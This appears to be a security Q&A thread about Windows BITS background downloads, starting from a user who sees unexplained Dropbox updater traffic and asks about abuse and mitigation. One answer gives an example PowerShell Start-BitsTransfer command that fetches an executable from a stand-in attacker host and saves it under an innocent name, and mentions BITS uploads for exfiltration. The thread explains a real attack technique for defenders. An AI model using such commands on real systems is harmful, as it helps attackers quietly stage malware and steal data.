2

I use Networx - to manage and monitor my machines network connection. It shows real download speeds and active network connections.

So, a few times all of a sudden I got these downloads and I was not downloading anything, or using the browser and even my Windows Updates are disabled.

So Networks shows it as a connection through BITS.

TCP PC-MACHINE-NAME: 1650
server-54-230-186-238.cdg51.r.cloudfront.net: https
ESTABLISHED 88.0 KB/s

But I had no way to see what BITS was downloading. So, I went online and found some applications built on top of BITS.

One of these applications called BITS Download Manager shows me what BITS is actually downloading.

https://clientupdates.dropboxstatic.com/Client/DropboxClient_xxVerNo.exe

  • I am wondering about the Security Implications of BITS being used and abused by legitimately and wrongful ways?

  • Also, is there a way we can disable or limit access to it in some fashion, to some degree - as a Rememdy?

2

I am wondering about the Security Implications of BITS being used and abused by legitimately and wrongful ways?

BITS by itself does not provide any kind of security. It is just a service to provide background up- and downloads and any kind of security must be added by using the relevant protocol (i.e. http vs. https) or validating the transferred content in the application (i.e. signatures).

There are no special privileges to use BITS. So it is possible for malware to use BITS too and this is also used in practice. For more information do a simply search or see for example Malware Lingers with BITS:

Malware authors and intruders have abused the service since at least 2007.

1
  • Is there any way to secure BITS/ limit access to it? from installed Apps & updaters installed inside Windows? – Alex S Sep 20 '16 at 6:49
1

You are correct to wonder. It is possible for an attacker who gains some command access to a system to schedule arbitrary BITS jobs:

Using Windows PowerShell to Create BITS Transfer Jobs

Thus providing them with an easy, non-GUI way to download their tools onto the system:

Start-BitsTransfer -Source http://evil.com/tools/evil.exe -Destination C:\tmp\innocent.exe

Because BITS is optomized with an eye toward downloading quietly in the background, this is an idea way for an attacker to grab their files (as long as no one is sitting watching Networx on their quiescent computer). It also has the advantage that if there is 'personal firewall' software in use that limits Internet access to approved programs, well, BITS is an approved program.

BITS can also be used to upload files (some examples here) as well as download them. So it can be used to exfiltrate (steal) data as well as download tools.

2
  • ... yeah, but if they can get command access it's just a convenience, not a necessity. You can download stuff from a command prompt/powershell, which can be run "headless" (no console window), which will probably have a default exemption entry for a firewall too. – Clockwork-Muse Aug 7 '16 at 6:54
  • @gowenfar - Is there any way to secure BITS/ limit access to it? from installed Apps & updaters installed inside Windows? – Alex S Sep 20 '16 at 6:48

Your Answer

By clicking “Post Your Answer”, you agree to our terms of service, privacy policy and cookie policy

Not the answer you're looking for? Browse other questions tagged or ask your own question.